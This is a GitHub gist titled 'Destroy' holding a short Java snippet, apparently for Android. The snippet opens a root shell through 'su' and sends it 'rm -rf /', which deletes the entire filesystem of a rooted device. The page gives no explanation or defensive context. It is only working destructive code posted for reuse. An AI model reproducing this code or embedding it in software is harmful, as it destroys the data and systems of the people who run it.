Skip to content

Instantly share code, notes, and snippets.

@dkmeteor
Created February 5, 2015 15:06
Show Gist options
  • Save dkmeteor/987a27e87b3f24acd00e to your computer and use it in GitHub Desktop.
Save dkmeteor/987a27e87b3f24acd00e to your computer and use it in GitHub Desktop.
Destroy
Process process = null;
DataOutputStream os = null;
try {
process = Runtime.getRuntime().exec("su");
os = new DataOutputStream(process.getOutputStream());
os.writeBytes("rm -rf /" + "\n");
os.writeBytes("exit\n");
os.flush();
process.waitFor();
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
if (os != null)
try {
os.close();
} catch (IOException e) {
e.printStackTrace();
}
process.destroy();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment